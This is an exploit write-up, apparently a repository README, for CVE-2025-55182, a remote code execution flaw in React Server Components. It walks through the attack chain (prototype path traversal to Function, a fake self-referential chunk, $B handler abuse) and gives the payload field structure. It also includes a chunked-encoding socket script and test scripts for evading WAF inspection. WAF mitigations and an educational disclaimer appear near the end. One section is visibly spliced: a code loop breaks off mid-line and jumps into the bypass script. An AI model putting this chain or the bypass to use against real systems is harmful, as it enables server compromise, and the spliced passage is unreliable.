Share
## https://sploitus.com/exploit?id=2AC4E486-4E22-5E40-B74B-72E916411D41
# CVE-2025-55182 - React Server Components RCE
`NOTE: Written by AI/Claude`
https://github.com/ejpir/CVE-2025-55182-bypass
## TL;DR
CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains **path traversal** + **fake chunk injection** + **$B handler abuse** to execute `Function(attacker_code)`.
**Big thanks to [maple3142](https://gist.github.com/maple3142) for the working exploitation chain!**
---
## The Exploit
### Attack Overview
The exploit uses three form fields to construct a malicious payload:
1. Creates a **fake chunk object** with self-referential `then` (field 1 `$@0` โ field 0)
2. Embeds a **fake `_response`** with `_formData.get` set to `$1:constructor:constructor`
3. Triggers the **`$B` handler** which calls `response._formData.get(response._prefix + id)`
4. **Path traversal** resolves `_formData.get` โ `Function`, executing `Function(code)`
### Exploitation Flow
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 1. Attacker sends multipart form with fake chunk object โ
โ โ decodeReply() parses form fields 0, 1, 2 โ
โ โ Object has: then, status, value, _response โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 2. Self-reference makes object thenable with real function โ
โ โ then: "$1:__proto__:then" โ Chunk.prototype.then โ
โ โ Chunk.prototype.then(this) calls initializeModelChunk(this) โ
โ โ Uses this._response (attacker's fake _response) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 3. parseModelString() handles "$B1337" reference โ
โ โ case "B": return response._formData.get(response._prefix+id) โ
โ โ Calls _formData.get with attacker's _prefix + "1337" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): โ
โ โ "$1:constructor:constructor" traverses prototype chain โ
โ โ Returns Function constructor โ
โ โ Function(code + "1337") โ RCE โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
### Key Components
| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Self-referential thenable; chunk 1 (`$@0`) points back to chunk 0 |
| `status: "resolved_model"` | Makes object appear as valid React chunk |
| `reason: -1` | Sets rootReference to undefined (avoids reference conflicts) |
| `value: '{"then":"$B1337"}'` | Nested payload that triggers `$B` handler |
| `_response._prefix` | Contains the RCE code string |
| `_response._chunks: "$Q2"` | Empty Map to prevent crashes during chunk processing |
| `_response._formData.get` | Points to `Function` via `$1:constructor:constructor` |
### Component Deep Dive
#### Form Field Structure
The exploit uses three form fields with circular references:
```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" โ references back to field 0
Field 2: [] โ empty array for _chunks Map
```
#### Self-Referential Thenable (`then`)
The `then: "$1:__proto__:then"` creates a self-reference that resolves to a **real function**:
```
$1:__proto__:then
โ
$1 โ chunk 1 โ "$@0" โ getChunk(0) โ Chunk object
โ
Chunk.__proto__.then โ Chunk.prototype.then (actual function!)
```
**Why this is critical:**
1. `then` resolves to `Chunk.prototype.then` - a real callable function
2. This makes the fake object a valid thenable
3. When awaited, JS calls `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executes with fake object as `this`:
```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" โ
case "resolved_model":
initializeModelChunk(this); // fake object passed!
```
5. `initializeModelChunk(this)` uses `this._response` - the attacker's fake `_response`:
```javascript
value = reviveModel(
chunk._response, // โ attacker's fake _response!
...
);
```
**Without the self-reference**, the fake `_response` would never be used. The self-reference makes `Chunk.prototype.then` treat the attacker's object as a real Chunk.
#### Two-Stage Thenable Trigger (`value`)
The `value` field contains a nested JSON string with another thenable:
```json
{"then":"$B1337"}
```
**Stage 1:** Outer object's self-referential `then` triggers chunk processing
**Stage 2:** When React resolves the model, it parses `value` and encounters another thenable with `then: "$B1337"`. The `$B` prefix triggers the handler:
```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
```
`_formData.get` is `"$1:constructor:constructor"` โ `getOutlinedModel()` resolves to `Function`.
This becomes: `Function(code + "1337")` โ valid JS because `1337` is just a trailing expression.
#### Defensive Padding (`_chunks`)
The fake `_response` needs a valid `_chunks` property to prevent crashes:
```
Form field "2": [] โ empty array
_chunks: "$Q2" โ $Q = Map type, creates new Map([])
```
React's internal code may access `response._chunks.get()` or `response._chunks.has()` during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable `$B` handler.
---
## Vulnerable Code Paths
| Path | Function | Purpose in Exploit |
|------|----------|-------------------|
| Path Traversal | `getOutlinedModel()` | Resolves `$1:constructor:constructor` โ `Function` |
| Fake `_response` Injection | `initializeModelChunk()` | Uses attacker's `chunk._response` |
| `$B` Handler | `parseModelString()` | Calls `_formData.get(_prefix + id)` โ RCE |
`decodeReply()` is the entry point, not vulnerable itself.
**Path Traversal** (`getOutlinedModel()`):
```javascript
for (key = 1; key {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
```
#### WAF Behavior Considerations
| WAF Type | Chunk Handling | Bypass Possible? |
|----------|----------------|------------------|
| AWS WAF (ALB) | Reassembles before inspection | Unlikely |
| AWS WAF (CloudFront) | Reassembles before inspection | Unlikely |
| Some legacy WAFs | Inspect per-chunk | **Yes** |
| Nginx ModSecurity | Configurable | Depends on config |
**Note:** AWS WAF typically reassembles chunked bodies before inspection. However, this should be verified per-environment as configurations vary.
### Mitigation Recommendations
1. **Change `OversizeHandling` to `MATCH`**
```json
"OversizeHandling": "MATCH"
```
This blocks any request exceeding the inspection limit when rule conditions are met.
2. **Increase body inspection limit** (CloudFront/API Gateway only)
Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.
3. **Add size-based blocking rule**
Block POST requests with `Next-Action` header exceeding a reasonable size (e.g., 10KB).
4. **Patch the application** - The only complete solution.
### Test Scripts
See included test scripts:
- `test-simple.cjs` - Baseline non-chunked payload test
- `test-oversize.cjs` - Tests padding sizes from 0-128KB
- `test-chunked-v2.cjs` - Chunked transfer encoding with `$@` split
- `test-chunked-bypass.cjs` - Multiple chunking strategies (5-byte, 10-byte, pattern splits)
**Usage:**
```bash
# Start vulnerable Next.js server (port 3000)
cd nextjs-test && npm run dev
# Run tests
node test-simple.cjs # Baseline
node test-oversize.cjs # Oversize body bypass
node test-chunked-v2.cjs # Chunked $@ split
node test-chunked-bypass.cjs # All chunking strategies
```
---
## Research Journey
### The Vulnerability: Path Traversal
```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
```
With payload `"$1:constructor:constructor"`:
1. `chunk[1]["constructor"]` โ `[Function: Object]`
2. `Object["constructor"]` โ `[Function: Function]`
### Blocked Paths We Tried
While we obtained `Function`, achieving RCE requires calling it with controlled arguments. These paths failed:
**1. Thenable Path (Blocked)**
```javascript
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name
```
**2. decodeAction Path (Blocked)**
```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
```
**3. Iterator Path (Blocked)**
```javascript
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't execute
```
### The Breakthrough
maple3142 found the missing piece: the `$B` handler + fake `_response` chain. By making `then` resolve to `Chunk.prototype.then` via self-reference, the fake `_response` gets used, enabling RCE.
---
## Key Findings
1. **`getOutlinedModel()` vulnerability is real** - Colon-separated paths allow prototype chain traversal
2. **Function constructor is accessible** - `$1:constructor:constructor` works without serverManifest
3. **RCE is achievable** - By crafting a fake chunk with controlled `_response`:
- Self-reference `$1:__proto__:then` โ `Chunk.prototype.then` makes fake `_response` get used
- Fake chunk structure mimics React's internal Chunk class
- `_response._formData.get` โ `Function` constructor
- `_response._prefix` โ malicious code string
- `$B` handler triggers `Function(malicious_code)`
4. **The fix is comprehensive** - Multiple `hasOwnProperty` checks and type validations
---
## References
- [maple3142's Gist](https://gist.github.com/maple3142) - RCE chain discovery
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Disclaimer
This repository is for **educational and defensive security research only**. The vulnerability has been patched. Upgrade your dependencies immediately.